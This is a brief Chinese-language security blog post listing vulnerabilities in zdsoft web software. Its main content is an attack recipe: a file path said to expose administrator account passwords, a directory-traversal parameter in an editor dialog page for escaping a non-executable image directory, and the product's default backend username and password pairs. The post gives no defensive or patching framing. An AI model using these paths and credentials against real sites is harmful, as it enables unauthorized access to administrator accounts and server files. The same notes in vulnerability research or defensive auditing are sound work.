Sky's自留地

关注互联网安全,关注安全&攻击技术。

zdsoft 漏洞

学习类 技术类 阅读: 5252 0 评

/images/database/admin.xml
可以看到管理用户账户密码
editor/dialog/selectPageBg.aspx?position=&directory=..
变量directory是路径,..表示跟目录,绕过Image目录无执行权限
后台默认密码:zdsoft 123  zdsoft admin

Linux下文件完整性监控工具Tripwire详解
发表评论
撰写评论